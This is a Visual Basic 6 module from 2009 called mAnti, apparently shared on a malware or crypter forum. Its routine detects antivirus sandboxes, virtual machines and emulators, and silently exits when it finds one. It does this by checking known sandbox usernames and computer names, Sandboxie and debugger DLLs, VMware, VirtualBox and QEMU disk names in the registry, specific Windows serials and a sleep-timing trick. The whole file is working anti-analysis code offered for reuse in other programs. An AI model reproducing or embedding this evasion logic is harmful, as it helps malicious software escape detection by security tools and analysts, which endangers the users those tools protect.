Modül vb6

'---------------------------------------------------------------------------------------
' Module      : mAnti
' DateTime    : 29/06/2009 15:59
' Author      : SqUeEzEr
' Mail        : [email protected]
' Purpose     : Detect most of the AV's
'               by: Usernames
'                   Computernames
'                   Loaded Dll's
'                   HardDrive Names
'                   Windows Serials
'                   Emulators
'
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' History     : 29/06/2009 Created......................................................
'---------------------------------------------------------------------------------------
Option Explicit
Private Declare Function GetModuleHandleA Lib "kernel32" (ByVal lpModuleName As String) As Long
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal lngMilliseconds As Long)
Private Declare Sub ExitProcess Lib "kernel32" (ByVal uExitCode As Long)

Public Sub sAnti()
Dim aUsers(6)       As String
Dim aComputers(3)   As String
Dim aDlls(1)        As String
Dim aHDDs(3)        As String
Dim aSerials(1)      As String
Dim sUser           As String * 255
Dim sComputer       As String * 255
Dim sWinSerial      As String
Dim bFound          As Boolean
Dim lBefore         As Long
Dim lAfter          As Long
Dim lhKey           As Long
Dim sBuffer         As String
Dim lLen            As Long
Dim i               As Long
Dim oSet            As Object
Dim oObj            As Object

'initialize strings and arrays
aUsers(0) = "Sndbx"
aUsers(1) = "tester"
aUsers(2) = "panda"
aUsers(3) = "currentuser"
aUsers(4) = "Schmidti"
aUsers(5) = "andy"
aUsers(6) = "Andy"

aComputers(0) = "AUTO"
aComputers(1) = "VMLOG"
aComputers(2) = "NONE-DUSEZ"
aComputers(3) = "XPSP3"

aDlls(0) = "SbieDll.dll"
aDlls(1) = "dbghelp.dll"

aHDDs(0) = "*VIRTUAL*"
aHDDs(1) = "*VMWARE*"
aHDDs(2) = "*VBOX*"
aHDDs(3) = "*QEMU*"

aSerials(0) = "55274-339-6006333-22900"
aSerials(1) = "76487-OEM-0065901-82986"

sUser = Environ("username")
sComputer = Environ("computername")

'Username Detections
For i = 0 To UBound(aUsers)
    If Left(sUser, Len(aUsers(i))) = aUsers(i) Then bFound = True
Next i

'Computername Detections
For i = 0 To UBound(aComputers)
    If Left(sComputer, Len(aComputers(i))) = aComputers(i) Then bFound = True
Next i

'Dll Detections
For i = 0 To UBound(aDlls)
    If GetModuleHandleA(aDlls(i)) Then bFound = True
Next i

'Emulator Detections, Method by ChainCoder
lBefore = GetTickCount
Sleep 510
lAfter = GetTickCount
If (lAfter - lBefore) < 500 Then bFound = True

'HardDrive Detections, Method by Cobein
If RegOpenKeyExA(&H80000002, "SYSTEM\ControlSet001\Services\Disk\Enum", 0, &H20019, lhKey) = 0 Then
    sBuffer = Space$(255): lLen = 255
    If RegQueryValueExA(lhKey, "0", 0, 1, ByVal sBuffer, lLen) = 0 Then
        sBuffer = UCase(Left$(sBuffer, lLen - 1))
        For i = 0 To UBound(aHDDs)
            If sBuffer Like aHDDs(i) Then bFound = True
        Next i
    End If
Call RegCloseKey(lhKey)
End If

'Windows Serial Detections
On Error Resume Next
Set oSet = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf(Split("Win32_OperatingSystem,SerialNumber", ",")(0))
sWinSerial = ""
For Each oObj In oSet
    sWinSerial = oObj.Properties_(Split("Win32_OperatingSystem,SerialNumber", ",")(1)) 'Property value
    sWinSerial = Trim(sWinSerial)
Next
For i = 0 To UBound(aSerials)
    If sWinSerial = aSerials(i) Then bFound = True
Next i


'Final check
If bFound = True Then ExitProcess (0)
End Sub